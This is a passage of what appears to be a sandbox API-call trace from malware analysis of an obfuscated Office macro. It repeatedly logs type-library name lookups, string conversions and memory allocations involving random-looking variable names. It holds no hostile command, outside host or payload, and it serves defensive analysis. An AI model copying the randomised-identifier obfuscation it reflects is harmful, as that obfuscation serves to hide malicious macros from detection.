szNameBuf="_B_var_kMLBXOldkAE", lHashVal=0x1082aa, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.583] IUnknown:Release (This=0x7919520) returned 0xd [0018.583] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.583] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_kMLBXOldkAE", lHashVal=0x1082aa, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.583] IUnknown:Release (This=0x7346470) returned 0xb [0018.583] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.583] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_kMLBXOldkAE", lHashVal=0x1082aa, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.583] IUnknown:Release (This=0x7345930) returned 0x7 [0018.583] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.583] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_kMLBXOldkAE", lHashVal=0x1082aa, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.583] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.583] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.583] IUnknown:Release (This=0x7919520) returned 0xd [0018.583] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb616cc, cbMultiByte=10, lpWideCharStr=0xcb529e0, cchWideChar=22 | out: lpWideCharStr="dYBwYGGwwi") returned 10 [0018.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb616e6, cbMultiByte=10, lpWideCharStr=0xcb52e2a, cchWideChar=22 | out: lpWideCharStr="VFAfnRloJE") returned 10 [0018.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb616fa, cbMultiByte=10, lpWideCharStr=0xcb52fd4, cchWideChar=22 | out: lpWideCharStr="bJdUriIGzn") returned 10 [0018.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6170e, cbMultiByte=10, lpWideCharStr=0xcb5317e, cchWideChar=22 | out: lpWideCharStr="cioqpMMBLm") returned 10 [0018.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61722, cbMultiByte=10, lpWideCharStr=0xcb53328, cchWideChar=22 | out: lpWideCharStr="MOSXcGkIKk") returned 10 [0018.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61736, cbMultiByte=10, lpWideCharStr=0xcb534d2, cchWideChar=22 | out: lpWideCharStr="jEQmkUvjEt") returned 10 [0018.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6174a, cbMultiByte=10, lpWideCharStr=0xcb5367c, cchWideChar=22 | out: lpWideCharStr="wAAJBnRKpb") returned 10 [0018.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6175e, cbMultiByte=10, lpWideCharStr=0xcb53826, cchWideChar=22 | out: lpWideCharStr="EkdWsNrFrk") returned 10 [0018.585] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb525d0 [0018.585] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb60000 [0018.586] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="whwumBVr") returned 0x10a9e2 [0018.586] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="whwumBVr" | out: _Dst="whwumBVr") returned 0x0 [0018.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="whwumBVr") returned 9 [0018.586] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.586] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="whwumBVr", lHashVal=0x10a9e2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.586] IUnknown:Release (This=0x7919520) returned 0xd [0018.586] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.586] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="whwumBVr", lHashVal=0x10a9e2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.586] IUnknown:Release (This=0x7346470) returned 0xb [0018.586] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.586] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="whwumBVr", lHashVal=0x10a9e2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.586] IUnknown:Release (This=0x7345930) returned 0x7 [0018.586] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.586] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="whwumBVr", lHashVal=0x10a9e2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.586] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.586] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.586] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_whwumBVr") returned 0x10816b [0018.586] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_whwumBVr" | out: _Dst="_B_var_whwumBVr") returned 0x0 [0018.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_whwumBVr") returned 16 [0018.586] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.586] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_whwumBVr", lHashVal=0x10816b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.586] IUnknown:Release (This=0x7919520) returned 0xd [0018.586] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.586] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_whwumBVr", lHashVal=0x10816b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.586] IUnknown:Release (This=0x7346470) returned 0xb [0018.586] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.586] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_whwumBVr", lHashVal=0x10816b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.586] IUnknown:Release (This=0x7345930) returned 0x7 [0018.586] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.586] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_whwumBVr", lHashVal=0x10816b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.586] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.586] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.586] IUnknown:Release (This=0x7919520) returned 0xd [0018.587] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6177c, cbMultiByte=10, lpWideCharStr=0xcb61ccc, cchWideChar=22 | out: lpWideCharStr="MPKOXvGlYf") returned 10 [0018.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61796, cbMultiByte=10, lpWideCharStr=0xcb62116, cchWideChar=22 | out: lpWideCharStr="SrGBfzHWck") returned 10 [0018.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb617aa, cbMultiByte=10, lpWideCharStr=0xcb622c0, cchWideChar=22 | out: lpWideCharStr="jKttYajqiV") returned 10 [0018.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb617be, cbMultiByte=10, lpWideCharStr=0xcb6246a, cchWideChar=22 | out: lpWideCharStr="whpasiNtLw") returned 10 [0018.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb617d2, cbMultiByte=10, lpWideCharStr=0xcb62614, cchWideChar=22 | out: lpWideCharStr="UGEmWQSANW") returned 10 [0018.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb617e6, cbMultiByte=10, lpWideCharStr=0xcb627be, cchWideChar=22 | out: lpWideCharStr="SzWnaBVRqw") returned 10 [0018.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb617fa, cbMultiByte=10, lpWideCharStr=0xcb62968, cchWideChar=22 | out: lpWideCharStr="OPDDhlCjJw") returned 10 [0018.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6180e, cbMultiByte=10, lpWideCharStr=0xcb62b12, cchWideChar=22 | out: lpWideCharStr="jOKjPaFGWH") returned 10 [0018.588] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb70000 [0018.589] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JWcLJMzDbt") returned 0x10e668 [0018.589] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="JWcLJMzDbt" | out: _Dst="JWcLJMzDbt") returned 0x0 [0018.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="JWcLJMzDbt") returned 11 [0018.589] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.589] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JWcLJMzDbt", lHashVal=0x10e668, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.589] IUnknown:Release (This=0x7919520) returned 0xd [0018.589] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.589] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JWcLJMzDbt", lHashVal=0x10e668, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.589] IUnknown:Release (This=0x7346470) returned 0xb [0018.589] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.589] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JWcLJMzDbt", lHashVal=0x10e668, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.589] IUnknown:Release (This=0x7345930) returned 0x7 [0018.589] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.589] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JWcLJMzDbt", lHashVal=0x10e668, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.589] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.589] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.589] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_JWcLJMzDbt") returned 0x105493 [0018.589] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_JWcLJMzDbt" | out: _Dst="_B_var_JWcLJMzDbt") returned 0x0 [0018.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_JWcLJMzDbt") returned 18 [0018.590] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.590] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JWcLJMzDbt", lHashVal=0x105493, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.590] IUnknown:Release (This=0x7919520) returned 0xd [0018.590] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.590] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JWcLJMzDbt", lHashVal=0x105493, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.590] IUnknown:Release (This=0x7346470) returned 0xb [0018.590] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.590] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JWcLJMzDbt", lHashVal=0x105493, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.590] IUnknown:Release (This=0x7345930) returned 0x7 [0018.590] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.590] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JWcLJMzDbt", lHashVal=0x105493, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.590] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.590] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.590] IUnknown:Release (This=0x7919520) returned 0xd [0018.590] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6182c, cbMultiByte=10, lpWideCharStr=0xcb70f9c, cchWideChar=22 | out: lpWideCharStr="sspOcrMIoR") returned 10 [0018.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61846, cbMultiByte=10, lpWideCharStr=0xcb713e6, cchWideChar=22 | out: lpWideCharStr="uZUCYEYiYm") returned 10 [0018.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6185a, cbMultiByte=10, lpWideCharStr=0xcb71590, cchWideChar=22 | out: lpWideCharStr="krVBqNDjai") returned 10 [0018.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6186e, cbMultiByte=10, lpWideCharStr=0xcb7173a, cchWideChar=22 | out: lpWideCharStr="SQfXGSfPWC") returned 10 [0018.591] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb52820 [0018.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61882, cbMultiByte=10, lpWideCharStr=0xcb718e4, cchWideChar=22 | out: lpWideCharStr="ktjIDtqwzH") returned 10 [0018.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61896, cbMultiByte=10, lpWideCharStr=0xcb71a8e, cchWideChar=22 | out: lpWideCharStr="nVzuPAWoXO") returned 10 [0018.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb618aa, cbMultiByte=10, lpWideCharStr=0xcb71c38, cchWideChar=22 | out: lpWideCharStr="ojiFziuwwG") returned 10 [0018.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb618be, cbMultiByte=10, lpWideCharStr=0xcb71de2, cchWideChar=22 | out: lpWideCharStr="YJLWBrLNwz") returned 10 [0018.592] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zqfFZIO") returned 0x104e14 [0018.592] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="zqfFZIO" | out: _Dst="zqfFZIO") returned 0x0 [0018.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="zqfFZIO") returned 8 [0018.592] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.592] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zqfFZIO", lHashVal=0x104e14, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.592] IUnknown:Release (This=0x7919520) returned 0xd [0018.592] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.592] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zqfFZIO", lHashVal=0x104e14, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.592] IUnknown:Release (This=0x7346470) returned 0xb [0018.592] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.592] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zqfFZIO", lHashVal=0x104e14, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.592] IUnknown:Release (This=0x7345930) returned 0x7 [0018.592] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.592] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zqfFZIO", lHashVal=0x104e14, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.592] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.592] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.592] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_zqfFZIO") returned 0x104217 [0018.592] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_zqfFZIO" | out: _Dst="_B_var_zqfFZIO") returned 0x0 [0018.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_zqfFZIO") returned 15 [0018.592] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.592] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zqfFZIO", lHashVal=0x104217, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.592] IUnknown:Release (This=0x7919520) returned 0xd [0018.592] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.592] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zqfFZIO", lHashVal=0x104217, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.592] IUnknown:Release (This=0x7346470) returned 0xb [0018.592] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.592] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zqfFZIO", lHashVal=0x104217, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.592] IUnknown:Release (This=0x7345930) returned 0x7 [0018.592] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.592] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zqfFZIO", lHashVal=0x104217, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.592] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.592] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.592] IUnknown:Release (This=0x7919520) returned 0xd [0018.593] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.593] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb80000 [0018.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb618dc, cbMultiByte=27, lpWideCharStr=0xcb8025c, cchWideChar=56 | out: lpWideCharStr="LkW8AE5Eu2UcM9aSKzfdvk8pIol") returned 27 [0018.593] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.593] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.593] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.593] IUnknown:Release (This=0x7919520) returned 0xd [0018.593] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.594] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fRWHwTIf") returned 0x1014bc [0018.594] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="fRWHwTIf" | out: _Dst="fRWHwTIf") returned 0x0 [0018.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="fRWHwTIf") returned 9 [0018.594] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.594] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="fRWHwTIf", lHashVal=0x1014bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.594] IUnknown:Release (This=0x7919520) returned 0xd [0018.594] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.594] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="fRWHwTIf", lHashVal=0x1014bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.594] IUnknown:Release (This=0x7346470) returned 0xb [0018.594] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.594] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="fRWHwTIf", lHashVal=0x1014bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.594] IUnknown:Release (This=0x7345930) returned 0x7 [0018.594] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.594] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="fRWHwTIf", lHashVal=0x1014bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.594] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.594] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.594] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_fRWHwTIf") returned 0x10ec84 [0018.594] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_fRWHwTIf" | out: _Dst="_B_var_fRWHwTIf") returned 0x0 [0018.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_fRWHwTIf") returned 16 [0018.594] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.594] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_fRWHwTIf", lHashVal=0x10ec84, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.594] IUnknown:Release (This=0x7919520) returned 0xd [0018.594] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.594] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_fRWHwTIf", lHashVal=0x10ec84, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.594] IUnknown:Release (This=0x7346470) returned 0xb [0018.594] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.594] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_fRWHwTIf", lHashVal=0x10ec84, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.594] IUnknown:Release (This=0x7345930) returned 0x7 [0018.594] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.594] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_fRWHwTIf", lHashVal=0x10ec84, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.594] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.594] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.594] IUnknown:Release (This=0x7919520) returned 0xd [0018.594] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61914, cbMultiByte=10, lpWideCharStr=0xcb80fb0, cchWideChar=22 | out: lpWideCharStr="IfdLCwLBzq") returned 10 [0018.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6192e, cbMultiByte=10, lpWideCharStr=0xcb813fa, cchWideChar=22 | out: lpWideCharStr="MwCOhFCBEl") returned 10 [0018.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61942, cbMultiByte=10, lpWideCharStr=0xcb815a4, cchWideChar=22 | out: lpWideCharStr="NlrQnEopYA") returned 10 [0018.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61956, cbMultiByte=10, lpWideCharStr=0xcb8174e, cchWideChar=22 | out: lpWideCharStr="wOuiojmsAi") returned 10 [0018.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6196a, cbMultiByte=10, lpWideCharStr=0xcb818f8, cchWideChar=22 | out: lpWideCharStr="aBhTknLwzK") returned 10 [0018.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6197e, cbMultiByte=10, lpWideCharStr=0xcb81aa2, cchWideChar=22 | out: lpWideCharStr="XECluWoMXw") returned 10 [0018.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61992, cbMultiByte=10, lpWideCharStr=0xcb81c4c, cchWideChar=22 | out: lpWideCharStr="KVdzuzCUaw") returned 10 [0018.595] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb52a70 [0018.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb619a6, cbMultiByte=10, lpWideCharStr=0xcb81df6, cchWideChar=22 | out: lpWideCharStr="TKAVLMDXjA") returned 10 [0018.596] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="XHzwONcFw") returned 0x10f63b [0018.596] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="XHzwONcFw" | out: _Dst="XHzwONcFw") returned 0x0 [0018.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="XHzwONcFw") returned 10 [0018.596] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.596] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="XHzwONcFw", lHashVal=0x10f63b, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.596] IUnknown:Release (This=0x7919520) returned 0xd [0018.596] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.596] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="XHzwONcFw", lHashVal=0x10f63b, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.596] IUnknown:Release (This=0x7346470) returned 0xb [0018.596] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.596] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="XHzwONcFw", lHashVal=0x10f63b, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.596] IUnknown:Release (This=0x7345930) returned 0x7 [0018.596] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.596] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="XHzwONcFw", lHashVal=0x10f63b, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.596] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.596] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.596] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_XHzwONcFw") returned 0x10efff [0018.596] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_XHzwONcFw" | out: _Dst="_B_var_XHzwONcFw") returned 0x0 [0018.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 